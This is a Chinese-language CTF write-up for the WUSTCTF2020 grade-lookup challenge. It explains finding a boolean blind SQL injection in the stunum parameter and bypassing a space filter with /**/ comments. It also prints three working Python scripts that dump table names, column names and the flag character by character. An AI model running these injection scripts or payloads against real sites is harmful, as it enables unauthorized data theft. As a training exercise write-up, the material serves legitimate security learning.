NO.3-8 [WUSTCTF2020]颜值成绩查询

考察sql bool注入,过滤空格;

题目

题目已经说了查询,多半和sql注入脱不了干系
在这里插入图片描述
简单的查询框

FUZZ

测试输入1,并查询


在这里插入图片描述
发现页面变化了,而且url多了个stunum参数 

http://101.200.53.102:10114/?stunum=1

 输入2,3,4依次提交,发现页面都有变化
在这里插入图片描述
在这里插入图片描述在这里插入图片描述可是再往下输入,就没反应了~
一开始以为是flag会在某个stunum页面下,所以用bp跑了stunum=1 到1000
结果只有stunum=1,2,3,4的时候页面有变化
方向不对,换~

布尔盲注

注入点查找

手工检查,发现令stunum = if(length(database())>1,1,0)时,页面变化了


在这里插入图片描述

而改成stunum = if(length(database())>3,1,0)时,页面又变回去了

在这里插入图片描述说明存在布尔盲注!!

开心爆表

在爆表的过程中,发现输入的空格被过滤掉了,但是没关系,可以使用/**/来代替空格

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
        url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(table_name),{},1))from/**/information_schema.tables/**/where/**/table_schema=database())='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

 

在这里插入图片描述
存在一个flag表和一个score表

爆字段

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(column_name),{},1))from/**/information_schema.columns/**/where/**/table_schema=database())='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

 

在这里插入图片描述得知存在flag字段value字段

爆值

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

 在这里插入图片描述
完整flag: `wctf2020{e@sy_sq1_and_y0u_sc0re_1t}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值